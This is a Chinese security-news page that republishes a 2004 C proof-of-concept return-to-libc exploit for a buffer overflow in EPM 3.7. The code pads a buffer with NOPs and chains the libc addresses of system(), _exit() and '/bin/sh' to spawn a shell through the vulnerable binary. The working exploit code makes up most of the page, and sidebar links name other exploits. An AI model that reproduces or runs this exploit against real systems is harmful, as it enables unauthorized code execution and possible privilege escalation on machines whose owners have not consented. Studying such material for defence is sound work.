首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Proof of Concept local RetLibc exploit for EPM3.7
来源:www.flowsecurity.org 作者:Thyago 发布时间:2004-10-08  

EPM Buffer Overflow (retlibc exploit)

/*
* _____ _
* | ___| | _____ ___
* | |_ | |/ _ \ \ /\ / /
* | _| | | (_) \ V V /
* |_| |_|\___/ \_/\_/
* Security Group.
*
* Description: flow-epm.c (www.flowsecurity.org);
*
* Proof of Concept local RetLibc exploit for EPM - 3.7(not suid
by default).
*
* It has been successfull tested on:
*
* Suse Linux 9.0
* Greets:
*
* Luiz Fernando Camargo
* Jefferson Cechinel
* Gerrit
* fAil
* newbug
*
* Date: 29'Sep 2004
*
*
* Author:
* Thyago Silva - setnf@flowsecurity.org
*/


#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>

#define PNAME "./epm" // program name
#define NOP 0x90 // No Operation

/* You need change the addr's */
#define SYSTEM 0x4006d4b0 // system() address in libc
#define EXIT 0x400d8088 // _exit() address in libc
#define SHELL 0x40151439 // /bin/sh address in libc

int main(int argc, char *argv[])
{
if(argc < 3 || argc > 3) {
fprintf(stderr, "############## Flow Security ##############\n");
fprintf(stderr, "# RetLibc Exploit for EPM - 3.7 #\n");
fprintf(stderr, "# setnf@flowsecurity.org #\n");
fprintf(stderr, "###########################################\n\n");
fprintf(stderr, "[!] Usage: %s <path> <offset>\n\n", argv[0]);
exit(0); }

int TBUFF = ((256 + 4) + (4 * 3) + 1); /* total buffer */
int NBUFF = ((256 / 4) + atoi(argv[2])); /* NOP buffer with offset */

fprintf(stderr, "[*] Program name : [%s]\n", argv[1]);
fprintf(stderr, "[*] Offset : [%d]\n", atoi(argv[2]));

char buf[TBUFF];

int *p = (int *)buf;

fprintf(stderr, "[*] system() address : [%p]\n", SYSTEM);
fprintf(stderr, "[*] _exit() address : [%p]\n", EXIT);
fprintf(stderr, "[*] /bin/sh address : [%p]\n", SHELL);

/* fill the first part of the buffer */

memset(buf, NOP, TBUFF);
p += NBUFF;

/* prepare the stack */

*p++ = SYSTEM;
*p++ = EXIT;
*p++ = SHELL;
*p = 0x0;

/* run the vulnerable program */

execl(argv[1], argv[1] + 2, buf, NULL);
perror("\n[!]");
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IPSWITCH WhatsUp Gold 8.03 Rem
·ICECast Remote Code Execution
·flc <= 1.0.4 local stack bu
·remote Icecast 2.0.1 for windo
·Microsoft SQL Server <= 7.0
·Microsoft Internet Explorer远
·YahooPOPS Remote Buffer Everfl
·Windows NNTP Service XPAT comm
·MyServer 0.7.1 Post Denial Of
·bmon < 1.2.1_2 local exploi
·GNU SharUtils <= 4.2.1 Loca
·Writing Trojans that Bypass Wi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved